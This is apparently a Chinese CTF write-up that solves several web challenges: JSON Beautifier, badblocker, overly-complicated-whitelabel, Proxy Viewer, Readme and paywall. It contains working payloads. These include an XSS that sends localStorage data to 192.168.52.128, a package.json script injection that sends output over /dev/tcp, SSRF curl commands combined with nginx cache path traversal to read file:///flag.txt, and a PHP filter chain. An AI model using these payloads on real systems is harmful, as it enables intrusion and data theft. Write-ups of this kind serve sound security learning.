JSON Beautifier


存在CSP,userJson domxss 好像不太行

html
JSON.stringify(value, replacer, space) 的第三个参数 space:
- 如果是数字:控制缩进空格数
- 如果是字符串:用该字符串作为每层缩进前缀
- JS 规范会截断到最多 10 个字符 我们可以控制输出文本中每一层缩进的前缀内容
1、传入config.debug 触发 eval
2、触发beautify():json 存在值-->解析作为userJson,该值存在才会进行下一步
3、inputBox 元素内部的任意文本节点被修改时,事件会冒泡触发回调 问题在于,如何利用cols以及传入config

使用dom clobber(简单原理:https://cloud.tencent.com/developer/article/1808582) 这里使用frameset:frameset 自带属性:cols(几乎不可替代)
main.js 中直接使用config.opts.cols,name 映射的是元素对象,而非值 而我们需要对cols赋值为"\*"
为难的是不知道是否因为浏览器和HTML的更新迭代,我没有真正复现出带外结果。 为此我尝试了很多变形和更多人的poc,但是均失败了


badblocker(思路)
flag存在在bot的localStorage中
但是控制台执行是我们自己电脑本地浏览器执行查阅输出,故不会输出flag,需要让bot来执行输出,利用XSS执行
代码分析
首页源代码

给出接口/import-history.html,嵌入shareLink,shareLink可控
访问接口,查看源代码

传值history,并使用combineHistories将历史结合
访问接口/static/js/utils.js

history[data][key]=v直接传入data k v
如果data是__proto__,原型链污染:history["proto"] = {};

showhistory 根据传入preview的true或者false执行
直接首页显示传入为false,直接嵌入numblocked

思路1:
向 bot 提交一个 /import-history.html?history=... ,在 history.url 中注入xss脚本,利用 DOM XSS 读取同源 localStorage 中 bot 预先写入的 blockHistory,提取其中的 flag 并外带。
弹窗payload如下
html
history=%7B%221%22%3A%7B%22url%22%3A%22http%3A%2F%2Fx.com%22%2C%22numBlocked%22%3A%22%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E%22%7D%7D

解码为:history={"1":{"url":"http://x.com","numBlocked":"<img src=x οnerrοr=alert(1)>"}}
只外带flag:
html
%7B%221%22%3A%7B%22url%22%3A%22http%3A%2F%2Fx.com%22%2C%22numBlocked%22%3A%22%3Cimg%20src%3Dx%20onerror%3D%5C%22(()%3D%3E%7Blet%20h%3DJSON.parse(localStorage.getItem('blockHistory'))%3Blet%20f%3DObject.values(h).map(v%3D%3Ev.url).find(v%3D%3Ev%26%26v.startsWith('idek%7B'))%3B(new%20Image()).src%3D'http%3A%2F%2F192.168.52.128%3A9999%2F%3Fflag%3D'%2BencodeURIComponent(f)%7D)()%5C%22%3E%22%7D%7D

发现不会显示出flag,历史也只是我们传入的请求
iframe 竞争条件 + CSP 阻止跳转 + prototype pollution + 利用 viewer 保存污染后的 numBlocked 到 localStorage +首页历史渲染触发 XSS 读 flag
overly-complicated-whitelabel
先给出payload:
html
test" } , "\u0073cripts": { "build": "mkdir -p /app/app/static && cat /app/app/flag_*.txt > /app/app/static/flag.txt" } , "dependencies": { "a":"b
声明:bugku平台上这个环境我是没有出flag,我是找了题目的docker环境本地起环境能 出flag 1、 下述思路是白盒后的,黑盒疑似要根据经验探出来 yarn build(如果师傅有经验请说明)

html
传入值替代模板复制后的json中的##REPLACE_ME##,形成:
"whitelabel": {
"company": "输入值"
}

应用调用 yarn build,最终触发 scripts.build 命令执行
代码中设置了简单的黑名单,黑名单是在原始字符串层面匹配 "scripts",unicode 编码绕过即可


关于重复键覆盖问题
当同一个 JSON 对象里出现重复键(比如两个 scripts)时:大多数解析器采用"后出现的 键覆盖前面的键",本题好像没有设坑
在模板中,未经过滤拼接,使用yarn build直接执行 故需要
✓ 闭合",利用},跳出whitelabel 对象,"逃逸"到顶层
一开始不知道目录结构可以外带:一点一点判断
html
test" } , "\u0073cripts": { "build": "bash -c 'ls / > /dev/tcp/192.168.52.128/4444'" } , "dependencies": { "a":"b

Proxy Viewer
关键代码分析

只有is-authorized才会输出完整内容,让其为true的方法是X-Forwarded-For
其中urlopen()会删除参数中#后的部分
nginx.conf中:

每次代理访问会自动添加X-Forwarded-For
这里不是:proxy_set_header X-Forwarded-For $http_x_forwarded_for;
而是:$proxy_add_x_forwarded_for
如果没传 X-Forwarded-For,nginx 会转发成:X-Forwarded-For: <真实IP>
如果传了 X-Forwarded-For: 127.0.0.1,nginx 会变成:X-Forwarded-For: 127.0.0.1, <真实IP>
外部设置请求头不可能,只有利用urlopen请求127.0.0.1,会认为是服务端本身请求实现绕过
proxy_cache my_zone这行指令明确在请求/static时启用了缓存
主要逻辑如下
客户端发起第一层请求,由nginx加上X-Forwarded-For 转发给Flask,此时获取urlopen(http://127.0.0.1:1337/proxy/file%3A///flag.txt) ,等待响应,urlopen()发起第二层请求,此时X-Forwarded-For符合要求,内层Flask读取flag并返回给第一层请求,此时第一层还会再次判断X-Forwarded-For
运用缓存使得外层不经过判断,直接从nginx缓存中提取所需要的内容
第一次请求某个 /static/...:客户端 -> nginx -> Flask -> nginx缓存响应 -> 客户端
第二次请求同一个 /static/...:客户端 -> nginx -> 直接从缓存返回 -> 客户端
通常在 客户端 -> nginx -> Flask 架构里,nginx 总是先处理请求;如果 nginx 命中缓存,后端 Flask 就不会执行
要触发缓存就要请求在/static路径下,结合NGINX转发时的URI规范化
nginx1.18转发规范化

payload
html
$ curl --path-as-is http://192.168.52.134:1337/proxy/http://127.0.0.1:1337/proxy/file%3a///flag.txt%2523/../../../static/asdf
$ curl --path-as-is http://192.168.52.134:1337/proxy/file:///flag.txt%23/../../../static/asdf | grep "idek{.*}"

Readme
代码阅读:
一个路由:/just-read-it

输出flag地方:

详细查看justReadIt函数
ioutil.ReadAll(r.Body)
从前端拿到 {"orders":[3,7,12625]} 这样的数据,转成 Go 里的结构体

判断数据中的数组长度,1-10
调用checkreadorder函数检查每个数据是否处于1到100之间


由于生成的是一个 24576 字节的伪随机数据,将密码复制在切片的12625起的后面,所以我们需要获取该密码,而就算是每次取最大值100,只有10个数,也只能取到1000

看到函数getvalidatorCtxdata,如果大于100,调用newreader

bufio.NewReader 创建的默认缓冲区大小是 4096 字节(4 KB)
依次调用如下:


所以传入数组中需要12625/4096个大于等于100的数,所有数据加起来等于12625即可

paywall

代码简单,传入p参数,读取内容,如果内容以PREMIUM开头,die(),如果内容以FREE开 头,输出内容
/flag 存在
现在需要传入参数注入FREE头实现绕过 脚本:https://github.com/synacktiv/php_filter_chain_generator
理论参考:https://www.synacktiv.com/en/publications/php-filters-chain-what-is-it-and how-to-use-it.html
python php_filter_chain_generator.py --chain "FREE "
注意末尾两个空格,此外单引号+空格会报错
payload:
html
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64 encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF 16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF 8|convert.base64-decode|convert.base64 encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0 213|convert.base64-decode|convert.base64 encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943| convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64 encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM 932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64 decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF 32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC .JOHAB|convert.base64-decode|convert.base64 encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|c onvert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF 32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64 encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM 932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64 decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64 decode/resource=flag